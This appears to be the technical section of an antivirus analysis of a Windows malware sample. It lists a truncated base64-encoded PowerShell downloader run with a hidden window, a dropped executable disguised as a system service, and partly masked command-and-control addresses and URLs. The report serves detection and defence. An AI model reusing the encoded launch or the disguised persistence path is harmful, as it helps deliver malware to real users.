Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgAC...
- %HOMEPATH%\273.exe
- %WINDIR%\syswow64\kbdtajik\wcspluginservice.exe
- %HOMEPATH%\273.exe в %WINDIR%\syswow64\kbdtajik\wcspluginservice.exe
- '73.##6.193.136':80
- '18#.#4.252.13':443
- http://ar#####oductions.com/cgi-bin/xHdbmk/
- http://18#.##.252.13:443/kelnZvPx8Dida/dRvMx5g2xhTEf4E4P/zQDFcVd9/qeHjv/ via 18#.#4.252.13
- DNS ASK ar#####oductions.com
- '%HOMEPATH%\273.exe'
- '%WINDIR%\syswow64\kbdtajik\wcspluginservice.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABSAEoARgBDAE4AYgBrAHIAPQAnAFYAQwBXAFYAWgBtAHAAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAHIAaQBgAFQAWQBQAGAAUgBPAHQAbwBDAE8AbAAiACAAPQAgAC...' (со скрытым окном)